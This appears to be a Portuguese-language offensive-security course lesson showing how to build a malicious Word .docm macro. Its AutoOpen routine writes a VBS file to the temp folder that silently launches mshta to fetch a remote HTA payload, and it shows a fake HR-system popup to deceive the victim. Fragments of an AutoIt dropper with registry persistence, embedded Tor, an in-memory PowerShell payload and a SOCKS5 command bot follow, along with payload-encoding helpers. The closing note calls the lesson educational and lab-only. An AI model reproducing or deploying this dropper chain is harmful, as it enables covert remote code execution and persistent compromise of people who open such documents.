Dando continuidade ao estudo sobre o uso de binários legítimos como vetor de ataque, esta etapa aprofunda a exploração do mshta.exe
(Aula 132), agora integrado ao ambiente do Microsoft Word através de código VBA.
A execução remota por meio de documentos .docm
foi implementada utilizando VBA como ponto de entrada, ativado automaticamente pela sub-rotina AutoOpen
.
Sub AutoOpen() |
O código aproveita a função Environ("TEMP")
para identificar o diretório temporário do usuário e, a partir disso, gera dinamicamente um arquivo update.vbs
contendo o payload de execução.
path = Environ("TEMP") & "\update.vbs" |
Esse arquivo é criado com o FileSystemObject
, o que permite gravar diretamente no disco o script malicioso que será responsável por invocar o binário legítimo mshta.exe
.
Set fso = CreateObject("Scripting.FileSystemObject") |
A linha de execução chama o mshta
com uma URL remota hospedando um payload HTA, encapsulando comandos HTML/VBScript.
vbs.WriteLine "CreateObject(""WScript.Shell"").Run ""mshta http://x.x.x.x.com/rede/teste.html"", 0, False" |
Esse vetor combina a flexibilidade da execução HTML com a confiança do binário do sistema (mshta.exe
), que raramente é bloqueado por soluções tradicionais de segurança. Com o script salvo e pronto, a execução é feita silenciosamente via WScript.Shell
, com os parâmetros 0
(janela invisível) e False
(execução assíncrona), permitindo que o processo continue em segundo plano sem alertar o usuário.
Para reforçar a engenharia social e manter a aparência legítima do documento, uma mensagem MsgBox
é exibida logo após a execução do payload, simulando uma confirmação institucional, como se o usuário tivesse interagido com um sistema de atualização de cadastro corporativo.
MsgBox "Validação de dados concluída com sucesso." & vbCrLf & vbCrLf & _ "Obrigado por atualizar seu cadastro no Sistema de Benefícios Corporativos.", _ vbInformation + vbOKOnly, "Sistema RH-ERP v2.3" End Sub |
A escolha de um título como "Sistema RH-ERP v2.3" e o uso de ícones padrão do Windows (via vbInformation
) aumentam o grau de credibilidade do engano.
Esse modelo reforça a capacidade do VBA de operar como dropper em múltiplas etapas, entregando scripts adicionais, manipulando o sistema de arquivos, e orquestrando execuções indiretas por meio de binários confiáveis. A camada visual de falsificação e o uso de extensões ocultas ampliam o potencial de sucesso em ataques baseados em documentos, especialmente em contextos onde o controle de macros ainda depende da decisão do usuário final.
Sub AutoOpen() ' POPUP FAKE DE CONFIRMAÇÃO |
#NoTrayIcon Global Const $dir = "C:\ProgramData\NetHelperSvc" ; Autocópia com nome alternado ; Cria persistência no registro ; Embute arquivos Tor ; Executa Tor ; Aguarda o Tor inicializar ; Payload PowerShell embutido em memória ; Executa o payload em memória via PowerShell Exit |
function Start-Bot { Start-Sleep -Seconds 3 $client = New-Object System.Net.Sockets.TcpClient # SOCKS5 handshake # Recria a forma antiga da requisição SOCKS5 corretamente $request = New-Object byte[] (5 + $hostBytes.Length + 2) $stream.Write($request, 0, $request.Length) # Comunicação while ($true) { if ($command -like "http *") { $writer.Close() while ($true) { |
[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes((Get-Content -Raw -Path ".\powershell.ps1"))) > encoded.txt |
def dividir_base64_para_autoit(base64_str, tamanho_linha=200): base64_bruto = """base64-payload""" with open("payload_autoit.txt", "w", encoding="utf-8") as f: |
Todo o conteúdo apresentado nesta aula tem finalidade exclusivamente educacional. O ambiente foi criado em um laboratório isolado e seguro, sem afetar redes, sistemas ou terceiros. A prática de técnicas ofensivas sem autorização explícita é ilegal e antiética.
Este curso tem como objetivo capacitar profissionais a entender e defender sistemas reais, reconhecendo táticas de adversários e desenvolvendo a capacidade de mitigar ameaças avançadas. A ética deve ser sempre o pilar central da atuação em segurança da informação.